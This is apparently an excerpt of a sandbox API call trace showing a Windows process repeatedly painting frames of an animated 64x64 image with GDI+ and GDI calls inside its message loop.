[0145.451] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0145.452] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.452] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.452] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0145.452] GdipCreateRegion (region=0x15dc20) returned 0x0 [0145.452] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0145.452] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0145.452] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0145.453] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0145.453] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0145.453] GetSystemMetrics (nIndex=42) returned 0 [0145.453] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0145.453] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0145.453] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0145.453] CoTaskMemFree (pv=0x1e91eca0) [0145.453] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0145.453] GdipCreateRegion (region=0x15d710) returned 0x0 [0145.453] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0145.453] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0145.453] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0145.453] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0145.454] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.454] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0145.454] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.454] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0145.454] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.454] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0145.455] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.455] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.455] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0145.455] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0145.455] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0145.455] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0145.455] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.456] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0145.456] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0145.456] GetCurrentObject (hdc=0x3a010b91, type=0x1) returned 0x1b00017 [0145.456] GetCurrentObject (hdc=0x3a010b91, type=0x2) returned 0x1900010 [0145.456] GetCurrentObject (hdc=0x3a010b91, type=0x7) returned 0x1a05067e [0145.456] GetCurrentObject (hdc=0x3a010b91, type=0x6) returned 0x18a002e [0145.456] SaveDC (hdc=0x3a010b91) returned 1 [0145.456] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffab040b8a [0145.456] GetClipRgn (hdc=0x3a010b91, hrgn=0xffffffffab040b8a) returned 0 [0145.456] SelectClipRgn (hdc=0x3a010b91, hrgn=0xffffffffdb0407c3) returned 2 [0145.457] DeleteObject (ho=0xffffffffab040b8a) returned 1 [0145.457] DeleteObject (ho=0xffffffffdb0407c3) returned 1 [0145.457] OffsetViewportOrgEx (in: hdc=0x3a010b91, x=0, y=0, lppt=0x26e2510 | out: lppt=0x26e2510) returned 1 [0145.457] GetNearestColor (hdc=0x3a010b91, color=0xffffff) returned 0xffffff [0145.457] CreateSolidBrush (color=0xffffff) returned 0xffffffffb3100190 [0145.457] FillRect (hDC=0x3a010b91, lprc=0x15d7c0, hbr=0xffffffffb3100190) returned 1 [0145.457] DeleteObject (ho=0xffffffffb3100190) returned 1 [0145.458] RestoreDC (hdc=0x3a010b91, nSavedDC=-1) returned 1 [0145.458] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.458] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3a010b91) returned 0x0 [0145.458] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc800dbd) returned 0x0 [0145.458] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.458] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0145.458] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0145.458] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0145.458] GetSystemMetrics (nIndex=42) returned 0 [0145.458] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0145.458] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0145.458] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0145.459] CoTaskMemFree (pv=0x1e91eca0) [0145.459] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x4) returned 0x0 [0145.461] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0145.461] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0145.461] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0145.461] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0145.461] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x3a010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0145.463] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.463] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3a010b91) returned 0x0 [0145.463] SelectObject (hdc=0x3a010b91, h=0x185000f) returned 0x1a05067e [0145.463] DeleteDC (hdc=0x3a010b91) returned 1 [0145.463] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.463] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0145.463] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0145.464] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0145.464] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0145.464] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0145.464] WaitMessage () returned 1 [0145.585] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0145.585] IsWindowUnicode (hWnd=0x2031e) returned 1 [0145.585] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0145.585] TranslateMessage (lpMsg=0x15e910) returned 0 [0145.585] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0145.585] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0145.585] GetCurrentThreadId () returned 0xec0 [0145.585] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0145.585] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0145.586] IsWindowUnicode (hWnd=0x2031e) returned 1 [0145.586] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0145.586] TranslateMessage (lpMsg=0x15e910) returned 0 [0145.586] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0145.586] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0145.586] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0145.586] CreateCompatibleDC (hdc=0x3010b83) returned 0x3b010b91 [0145.586] SelectObject (hdc=0x3b010b91, h=0x1a05067e) returned 0x185000f [0145.586] GdipCreateFromHDC (hdc=0x3b010b91, graphics=0x15daf0) returned 0x0 [0145.586] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0145.587] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0145.587] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0145.587] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0145.587] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0145.587] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.587] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0145.588] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.588] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.588] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0145.588] GdipCreateRegion (region=0x15dc20) returned 0x0 [0145.588] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0145.588] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0145.588] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0145.588] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0145.588] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0145.589] GetSystemMetrics (nIndex=42) returned 0 [0145.589] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0145.589] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0145.589] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0145.589] CoTaskMemFree (pv=0x1e91eca0) [0145.589] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0145.589] GdipCreateRegion (region=0x15d710) returned 0x0 [0145.589] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0145.589] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0145.589] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0145.589] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0145.590] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.590] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0145.590] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.590] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0145.590] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.591] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0145.591] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.591] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.591] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0145.591] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0145.591] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0145.592] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0145.592] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.592] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0145.592] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0145.592] GetCurrentObject (hdc=0x3b010b91, type=0x1) returned 0x1b00017 [0145.592] GetCurrentObject (hdc=0x3b010b91, type=0x2) returned 0x1900010 [0145.592] GetCurrentObject (hdc=0x3b010b91, type=0x7) returned 0x1a05067e [0145.592] GetCurrentObject (hdc=0x3b010b91, type=0x6) returned 0x18a002e [0145.592] SaveDC (hdc=0x3b010b91) returned 1 [0145.593] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffdc0407c3 [0145.593] GetClipRgn (hdc=0x3b010b91, hrgn=0xffffffffdc0407c3) returned 0 [0145.593] SelectClipRgn (hdc=0x3b010b91, hrgn=0xffffffffac040b8a) returned 2 [0145.593] DeleteObject (ho=0xffffffffdc0407c3) returned 1 [0145.593] DeleteObject (ho=0xffffffffac040b8a) returned 1 [0145.593] OffsetViewportOrgEx (in: hdc=0x3b010b91, x=0, y=0, lppt=0x26e3808 | out: lppt=0x26e3808) returned 1 [0145.593] GetNearestColor (hdc=0x3b010b91, color=0xffffff) returned 0xffffff [0145.593] CreateSolidBrush (color=0xffffff) returned 0xffffffffb4100190 [0145.593] FillRect (hDC=0x3b010b91, lprc=0x15d7c0, hbr=0xffffffffb4100190) returned 1 [0145.593] DeleteObject (ho=0xffffffffb4100190) returned 1 [0145.594] RestoreDC (hdc=0x3b010b91, nSavedDC=-1) returned 1 [0145.594] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.594] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3b010b91) returned 0x0 [0145.594] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc7e0dbd) returned 0x0 [0145.594] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.594] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0145.594] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0145.594] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0145.594] GetSystemMetrics (nIndex=42) returned 0 [0145.594] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0145.594] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0145.594] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0145.595] CoTaskMemFree (pv=0x1e91eca0) [0145.595] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0145.595] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0145.595] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0145.595] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0145.595] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x3b010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0145.595] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.595] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3b010b91) returned 0x0 [0145.595] SelectObject (hdc=0x3b010b91, h=0x185000f) returned 0x1a05067e [0145.595] DeleteDC (hdc=0x3b010b91) returned 1 [0145.595] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.596] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0145.596] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0145.596] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0145.596] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0145.596] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0145.596] WaitMessage () returned 1 [0145.900] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0145.900] IsWindowUnicode (hWnd=0x2031e) returned 1 [0145.900] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0145.900] TranslateMessage (lpMsg=0x15e910) returned 0 [0145.900] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0145.900] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0145.900] GetCurrentThreadId () returned 0xec0 [0145.900] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0145.900] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0145.900] IsWindowUnicode (hWnd=0x2031e) returned 1 [0145.900] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0145.900] TranslateMessage (lpMsg=0x15e910) returned 0 [0145.900] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0145.900] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0145.901] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0145.901] CreateCompatibleDC (hdc=0x3010b83) returned 0x3c010b91 [0145.901] SelectObject (hdc=0x3c010b91, h=0x1a05067e) returned 0x185000f [0145.901] GdipCreateFromHDC (hdc=0x3c010b91, graphics=0x15daf0) returned 0x0 [0145.901] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0145.901] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0145.901] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0145.901] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0145.901] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0145.901] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.901] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0145.902] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.902] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.902] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0145.902] GdipCreateRegion (region=0x15dc20) returned 0x0 [0145.903] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0145.903] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0145.903] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0145.903] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0145.903] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0145.903] GetSystemMetrics (nIndex=42) returned 0 [0145.903] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0145.903] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0145.903] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0145.903] CoTaskMemFree (pv=0x1e91eca0) [0145.903] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0145.903] GdipCreateRegion (region=0x15d710) returned 0x0 [0145.903] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0145.904] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0145.904] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0145.904] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0145.904] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.904] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0145.904] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.905] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0145.905] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0145.905] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0145.905] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0145.905] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.906] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0145.906] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0145.906] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0145.906] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0145.906] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.906] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0145.906] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0145.906] GetCurrentObject (hdc=0x3c010b91, type=0x1) returned 0x1b00017 [0145.906] GetCurrentObject (hdc=0x3c010b91, type=0x2) returned 0x1900010 [0145.906] GetCurrentObject (hdc=0x3c010b91, type=0x7) returned 0x1a05067e [0145.906] GetCurrentObject (hdc=0x3c010b91, type=0x6) returned 0x18a002e [0145.906] SaveDC (hdc=0x3c010b91) returned 1 [0145.907] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffad040b8a [0145.907] GetClipRgn (hdc=0x3c010b91, hrgn=0xffffffffad040b8a) returned 0 [0145.907] SelectClipRgn (hdc=0x3c010b91, hrgn=0xffffffffdd0407c3) returned 2 [0145.907] DeleteObject (ho=0xffffffffad040b8a) returned 1 [0145.907] DeleteObject (ho=0xffffffffdd0407c3) returned 1 [0145.907] OffsetViewportOrgEx (in: hdc=0x3c010b91, x=0, y=0, lppt=0x26e4140 | out: lppt=0x26e4140) returned 1 [0145.907] GetNearestColor (hdc=0x3c010b91, color=0xffffff) returned 0xffffff [0145.907] CreateSolidBrush (color=0xffffff) returned 0xffffffffb5100190 [0145.907] FillRect (hDC=0x3c010b91, lprc=0x15d7c0, hbr=0xffffffffb5100190) returned 1 [0145.907] DeleteObject (ho=0xffffffffb5100190) returned 1 [0145.907] RestoreDC (hdc=0x3c010b91, nSavedDC=-1) returned 1 [0145.908] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.908] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3c010b91) returned 0x0 [0145.908] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc7c0dbd) returned 0x0 [0145.908] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.908] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0145.908] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0145.908] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0145.908] GetSystemMetrics (nIndex=42) returned 0 [0145.908] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0145.908] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0145.908] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0145.908] CoTaskMemFree (pv=0x1e91eca0) [0145.908] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x6) returned 0x0 [0145.911] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0145.911] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0145.911] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0145.911] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0145.911] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x3c010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0145.912] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.912] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x3c010b91) returned 0x0 [0145.912] SelectObject (hdc=0x3c010b91, h=0x185000f) returned 0x1a05067e [0145.912] DeleteDC (hdc=0x3c010b91) returned 1 [0145.912] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0145.912] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0145.912] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0145.912] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0145.912] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0145.912] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0145.912] WaitMessage () returned 1 [0146.044] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0146.044] IsWindowUnicode (hWnd=0x2031e) returned 1 [0146.044] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0146.044] TranslateMessage (lpMsg=0x15e910) returned 0 [0146.044] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0146.044] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0146.044] GetCurrentThreadId () returned 0xec0 [0146.045] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0146.045] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0146.045] IsWindowUnicode (hWnd=0x2031e) returned 1 [0146.045] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0146.045] TranslateMessage (lpMsg=0x15e910) returned 0 [0146.045] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0146.045] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0146.045] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0146.045] CreateCompatibleDC (hdc=0x3010b83) returned 0x3d010b91 [0146.045] SelectObject (hdc=0x3d010b91, h=0x1a05067e) returned 0x185000f [0146.046] GdipCreateFromHDC (hdc=0x3d010b91, graphics=0x15daf0) returned 0x0 